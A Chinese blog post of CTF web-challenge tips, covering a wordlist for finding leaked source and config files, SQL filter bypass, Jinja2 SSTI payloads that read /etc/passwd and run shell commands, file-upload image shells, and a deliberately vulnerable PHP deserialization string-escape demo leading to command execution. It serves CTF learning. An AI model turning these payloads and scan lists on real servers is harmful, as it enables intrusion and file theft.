Loading

渗透测试思路 - CTF(番外篇)

渗透测试思路

Another:影子

(主要记录一下平时渗透的一些小流程和一些小经验)

CTF(番外篇)

​ 笔者是一个WEB狗,更多的是做一些WEB类型题目,只能怪笔者太菜,哭~~

前言

​ 本篇仅介绍笔者记忆中比较深刻的CTF类型题目

(基本就是水文章,水字数)

WEB

语言

​ 笔者在WEB题目中更多的是PHP类型的题目(因为PHP是世界上最好的语言!)

​ 因为PHP的兼容性,易开发,环境易搭建,和容易快速入门

​ 语言推荐学习:PHP,Python,Java...

​ 框架推荐学习:TP,Laravel,Flask....

开始

​ 拿到题目的第一开始就要去判断考点,如果没有提示的时候(真心不喜欢一些考脑洞的)

​ 就可以去扫描一些敏感文件,比如源码文件和.git泄露等一些敏感文件

hint.php
index.php?hint
readme.html
readme.md
robots.txt
.........

​ 这些地址都是有可能存在信息的一些地方,毕竟CTF和实战相同而又不相同,CTF他既然会给出来,那就说明一定会有提示和利用的地方

​ CTF字典分享

.git
.git/HEAD
.git/index
.git/config
.git/description
source
source.php
.idea/workspace.xml
source.php.bak
.source.php.bak
source.php.swp
README.MD
README.md
README
.gitignore
.svn
.svn/wc.db
.svn/entries
user.php.bak
.hg
.DS_store
WEB-INF/web.xml
WEB-INF/src/
WEB-INF/classes
WEB-INF/lib
WEB-INF/database.propertie
CVS/Root
CVS/Entries
.bzr/
%3f
%3f~
.%3f.swp
.%3f.swo
.%3f.swn
.%3f.swm
.%3f.swl
_viminfo
.viminfo
%3f~
%3f~1~
%3f~2~
%3f~3~
%3f.save
%3f.save1
%3f.save2
%3f.save3
%3f.bak_Edietplus
%3f.bak
%3f.back
phpinfo.php
robots.txt
.htaccess
.bash_history
.svn/
.git/
.index.php.swp
index.php.swp
index.php.bak
.index.php~
index.php.bak_Edietplus
index.php.~
index.php.~1~
index.php
index.php~
index.php.rar
index.php.zip
index.php.7z
index.php.tar.gz
index.php.txt
login.php
register
register.php
test.php
upload.php
phpinfo.php
t.php
www.zip
www.rar
www.zip
www.7z
www.tar.gz
www.tar
web.zip
web.rar
web.zip
web.7z
web.tar.gz
web.tar
plus
qq.txt
log.txt
wwwroot.rar
web.rar
dede
admin
edit
Fckeditor
ewebeditor
bbs
Editor
manage
shopadmin
web_Fckeditor
login
webadmin
admin/WebEditor
admin/daili/webedit
login/
database/
tmp/
manager/
manage/
web/
admin/
shopadmin/
wp-includes/
edit/
editor/
user/
users/
admin/
home/
test/
administrator/
houtai/
backdoor/
flag/
upload/
uploads/
download/
downloads/
manager/
root.zip
root.rar
wwwroot.zip
wwwroot.rar
backup.zip
backup.rar
.svn/entries
.git/config
.ds_store
flag.php
fl4g.php
f1ag.php
f14g.php
admin.php
4dmin.php
adm1n.php
4dm1n.php
admin1.php
admin2.php
adminlogin.php
administrator.php
login.php
register.php
upload.php
home.php
log.php
logs.php
config.php
member.php
user.php
users.php
robots.php
info.php
phpinfo.php
backdoor.php
fm.php
example.php
mysql.bak
a.sql
b.sql
db.sql
bdb.sql
ddb.sql
users.sql
mysql.sql
dump.sql
data.sql
backup.sql
backup.sql.gz
backup.sql.bz2
backup.zip
rss.xml
crossdomain.xml
1.txt
flag.txt
/wp-config.php
/configuration.php
/sites/default/settings.php
/config.php
/config.inc.php
/conf/_basic_config.php
/config/site.php
/system/config/default.php
/framework/conf/config.php
/mysite/_config.php
/typo3conf/localconf.php
/config/config_global.php
/config/config_ucenter.php
/lib
/data/config.php
/data/config.inc.php
/includes/config.php
/data/common.inc.php
/caches/configs/database.php
/caches/configs/system.php
/include/config.inc.php
/phpsso_server/caches/configs/database.php
/phpsso_server/caches/configs/system.php
404.php
index.html
user/
users/
admin/
home/
test/
administrator/
houtai/
backdoor/
flag/
uploads/
download/
downloads/
manager/
phpmyadmin/
phpMyAdmin/

这是一些基本的CTF字典,可以满足大部分的需求,在CTF中,WEB类型的大规模扫描容易被封禁IP,不建议大规模的扫描

判断考点为SQL注入,SSTI模板注入,SSRF打内网,文件上传,RCE等

比较不错的CTF比赛一般过滤都很变态,所以在做题的时候一定要知道开发语言的版本,因为版本的不一样,payload也会不一样

前段时间,有人给我扔了一道NepNep的热身题,大概是RCE,但是有一个判断条件,要传参一个值来进行绕过,然后第一开始我并没有注意版本这个东西,然后直接一次构造payload打穿本地,然后拿payload去打靶机的时候不行了,

最后一看,靶机版本是7.0

我本地是5.3.。

这浪费了我一段时间。。有点小难受

开发语言的版本一定要和本地调试一样,这个真的有点重要,千万不要忘记

(
	问: 小影子,怎么知道开发语言的版本啊?
	答: 在文件头的位置,或者其他地方,Wappalyzer插件是一个不错的选择
)

SQL

sql注入的题目一般大一点的比赛,过滤是真的变态,基本上就是过滤了绝大部分的关键字

sql类型的题目一般不会给出源码

在没有给出源码的时候要去猜测后台拼接的sql语句

然后就要去判断是黑名单还是替换了

替换的话直接双写绕过,这个一般在大型的CTF中一般不会存在(过于简单。。)

黑名单的话,只能够绕过

要首先判断黑名单存在的关键字,这个地方可以使用Fuzz字典进行fuzz测试,再根据回显不同进行判断,再进行下一步操作

字典可以自己写,也可以再网上寻找

例如过滤了空格

select/**/*/**/from/**/user;

image-20210412024750029

网上的教程有很多,所以笔者并不会多说,文章以思路为主(主要原因我不会,哈哈哈哈狗头保命)

这种过滤在CTF中是一定会有绕过的方法的,之前打CTF,WP最过分的一次,WP中写道,题目涉及0day,故并不发布出来,我???(这种一般也不会发出来,出一道题,给一个0day,这怎么想都不太可能,哈哈哈哈或或嗝)~~

RCE

一般的CTF命令执行都是直接给出源码的,然后进行绕过,最后执行命令然后Get Flag

狼组CTF靶场中有一个PeiQi大佬出的一道题,就是命令执行,

过滤了一些主要函数,然后传参的时候是用json数据进行传参,源码并没有给出,猜测为ereg函数过滤替换传参值

直接在json数据中添加%00绕过过滤,成功get Flag

SSTI

一般都是python的ssti,也有一些模板的模板注入

一般都是要手动去测试模板是否存在模板注入,在可控值的地方进行fuzz

{{ 1*1 }}
{{ 1*2 }}
{% ... %}
.........

Python的SSTI Payload 原理

​ Jinja2 模板中可以访问一些 Python 内置变量,如[] {} 等,并且能够使用 Python 变量类型中的一些函数这里其实就引出了

​ 在python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,这是两种创建object的方法

​ Python中一些常见的特殊方法:

__class__返回调用的参数类型
__base__ 返回基类
__mro__ 允许我们在当前Python环境下追溯继承树
__subclasses__() 返回子类

​ 现在我们的思路就是从一个内置变量调用__class__.base__等隐藏属性,去找到一个函数,然后调用其__globals['builtins']即可调用eval等执行任意代码。

().__class__.__bases__[0]
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
[].__class__.__bases__[0]
	builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块
>>> ''.__class__.__base__.__subclasses__()
# 返回子类的列表 [,,,...]

#从中随便选一个类,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性

#再换几个子类,很快就能找到一个重载过__init__的类,比如
>>> ''.__class__.__base__.__subclasses__()[5].__init__

>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
#然后用eval执行命令即可
Python SSTI 常见Payload
#读文件
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
#写文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

#任意执行
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }} 

{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output\n\nRUNCMD = check_output\n')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }}  
{{ config['RUNCMD']('/usr/bin/id',shell=True) }} 

http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}      
http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}
    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}(这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块)  
http://127.0.0.1/{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函数换为popen('').read(),需要导入os模块)  
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要导入os模块,直接从别的模块调用)

文件上传

​ 直接fuzz字典一把梭,然后查看能够利用的所有后缀名,再查看上传后文件是否将文件名更改,更改的目录是否有目录文件泄露等

​ 或者有关键字过滤,进行绕过,比如一些图片监测,监测的是文件头,直接制作图片马,或者在上传文件开始的位置添加图片的特征头Gif89a

源码(CMS)

​ 源码泄露类型的题目一般注重于代码审计,一般题目中给出的CMS可能会与网上存在的CMS有区别,里面可能由出题人故意增加了一些注入点,文件上传或者木马等,笔者在SXC的ClassCMS那一题中就对原CMS进行了一些源码的更改,增加注入点,减少了题目的难度,这题的环境应该已经关闭了,其他的WEB题目没有关闭,有意思的大佬可以来玩(http://sxc.starsnowsec.cn)

​ 这种类型的题目十分注重于代码审计的能力,非常考验CTFer的PHP,Flask,Java等开发语言的功底,如果这些开发语言基础较为薄弱,可以先越过这些题目,转战其他题目

​ 源码分析还是老样子,通读代码结构,从前台到后台,所有用户可控制的值,一般源码类的题目基本漏洞都会是SQL注入,RCE,能够Getshell的点,所以一些危害较小的漏洞可以尝试放到最后审计 (毕竟也有可能XSS打后台)

反序列化

​ 反序列化中包括的点也挺多的,笔者遇见的都是一些 _wakeup 绕过,反序列化写入文件,执行命令等,总体来说就是绕过,和PHP函数本身的一些问题

​ 还有一些字符串逃逸,这些中笔者最感兴趣的就是字符串逃逸

​ 字符串逃逸漏洞的本质就是字符串的替换长度不同

​ php在反序列化的时候,底层代码是以 ; 作为字段的分割,以 } 作为结尾,重点在于是根据长度判断内容,并且严格按照反序列化规则

<?php
function lemon($string){
	$lemon = '/p/i';
	return preg_replace($lemon, 'www', $string);
}
$username = $_GET['a'];
$age = '20';
$user = array($username,$age);
echo(serialize($user));
echo "<br>";

$r = lemon(serialize($user));
echo($r);
echo "<br>";
echo(unserialize($r));
?>

这是一个php逃逸的示例代码,结果如下:

image-20210412163912192

image-20210412164045773

http://127.0.0.1/1.php?a=a:2:{i:0;s:0:%22%22;i:1;s:2:%22pp%22;}
<?php
function lemon($string){
	$lemon = '/ww/i';
	return preg_replace($lemon, 'www', $string);
}
$username = $_GET['a'];
$age = 'ls';
$user = array($username,$age);
echo(serialize($user));
echo "<br>";

$r = lemon(serialize($user));
echo($r);
echo "<br>";
echo unserialize($r)[1];
echo "<br>";
print_r(system(unserialize($r)[1]));
?>

将代码做点修改,通过字符串逃逸达到RCE的效果

payload为以下

http://127.0.0.1/1.php?a=wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww";i:1;s:6:"whoami";}

Payload 效果如下

image-20210412171529780

a:2:{i:0;s:60:"wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww";i:1;s:6:"whoami";}";i:1;s:2:"ls";}
a:2:{i:0;s:60:"wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww";i:1;s:6:"whoami";}";i:1;s:2:"ls";}

​ php在反序列化的时候只会按照按序列化规则来进行反序列化,后面的就会忽略,这就构成了这个字符串逃逸的根本原因

​ (笔者在实战中并没有见过字符串逃逸类型的漏洞)

小程序

​ 小程序类的WEB题笔者之前在SXC的比赛中出了一道

(其他地方似乎没有见过,是不是SXC是第一个有小程序WEB题目啊,哈哈哈哈或或嗝)

​ 无论是微信小程序还是支付宝小程序,本质都是HTML+JS+CSS前端文件,所以在获取到小程序的包的时候,第一件事就是去解包,支付宝的小程序包都是以压缩包形式存在的,可以直接解压使用,微信小程序的包是以wxapkg为后缀名的文件,可以直接在网上寻找wxapkg解码工具,这类教程还是有很多的,笔者就不再一一列举

(
	问: 小影子,我不知道小程序包在哪里,找不到怎么办?
	答: 网上有很多这种教程,包括微信小程序和支付宝小程序,微信小程序可以使用模拟器拿到源码包,支付宝小程序的话,笔者在夜神模拟器中无法登录支付宝,可能是支付宝有某些安全策略
	
	问: 小影子,夜神模拟器无法抓取小程序的源码包,那我怎么办啊?
	答: 手机开启开发者调试模式,模式开启每个厂商都基本不同,可以在网上进行一些资料搜索,然后adb连接手机,直接将所有小程序的包pull出来,然后再一个个分析,找到自己要测试的支付宝小程序源码包
)

​ 小程序一类的解压之后可以使用小程序开发工具进行代码审计,毕竟都是原生的好用

image-20210412073912150

​ 下面为支付宝小程序开发工具

Misc

​ Web狗Web狗,除了Web,什么都能狗

​ 笔者之前打CTF的时候,有的时候Web题一道没出,倒是Misc,Crypto,Re总能一个能出一道题目

作为一个CTFer,最好还是多学一点其他的知识,因为Web就像数学,不会就是真的不会了

但是Misc不一样,说不定我就狗出来了,哈哈哈哈或

Crypto

​ Crypto这种我能够打出来是因为我搞了好多的Crypto的脚本,直接脚本一把梭,运气好就出来了

(I'm so ™‘s smart!)

image-20210412192624068

image-20210412192644981

这些应该在Github上面就有,挺香的

image-20210412192742674

在加上悬剑CTF版的一些脚本,我感觉我又行了

后言

​ CTF的最重要的还是要多去刷题,题海战术,这点是非常有效的,刷的题一定要有效率的刷题,而且在复现或者给出源码的情况下有类别的存在本地,WP也要好好的保管

千万不要像笔者一样刷完一道忘一道,就很垃圾,哭~~

posted @ 2021-07-31 16:12  Y1ngZi  阅读(956)  评论(0编辑  收藏  举报